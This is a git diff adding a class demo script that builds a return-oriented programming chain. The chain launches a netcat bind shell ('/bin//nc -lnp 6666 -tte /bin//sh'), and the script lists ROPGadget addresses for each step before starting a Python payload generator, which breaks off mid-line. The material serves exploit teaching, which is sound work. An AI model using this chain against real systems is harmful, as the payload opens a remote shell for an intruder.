diff --git a/docs/exploit-nc.py b/docs/exploit-nc.py new file mode 100644 index 0000000..bb99d77 --- /dev/null +++ b/docs/exploit-nc.py @@ -0,0 +1,168 @@ +""" +This is a demo python script that creates a ROP chain to launch nc as: +> /bin//nc -lnp 6666 -tte /bin//sh +The gadgets in the following code are based on my machine & binary and as a result you will have to adjust the gadget based on your environment. +With the latest ROPGadget tool that we used in the class, we get the following ropchain: +- Step 1 -- Write-what-where gadgets + + [+] Gadget found: 0x8056d05 mov dword ptr [edx], eax ; ret + [+] Gadget found: 0x806ee8b pop edx ; ret + [+] Gadget found: 0x80a8bf6 pop eax ; ret + [+] Gadget found: 0x80562c0 xor eax, eax ; ret + +- Step 2 -- Init syscall number gadgets + + [+] Gadget found: 0x80562c0 xor eax, eax ; ret + [+] Gadget found: 0x807c32a inc eax ; ret + +- Step 3 -- Init syscall arguments gadgets + + [+] Gadget found: 0x80481c9 pop ebx ; ret + [+] Gadget found: 0x806eeb2 pop ecx ; pop ebx ; ret + [+] Gadget found: 0x806ee8b pop edx ; ret + +- Step 4 -- Syscall gadget + + [+] Gadget found: 0x8049603 int 0x80 + +- Step 5 -- Build the ROP chain + + + +""" + + + + + +#!/usr/bin/env python +from struct import pack +import os +###################################### +fileName=raw_input("Enter the file name") +outfile=open(fileName, "wb") +# this is just to create variables of the gadgets that we will be using +DATA = 0x080da120 +EDAX0 = pack("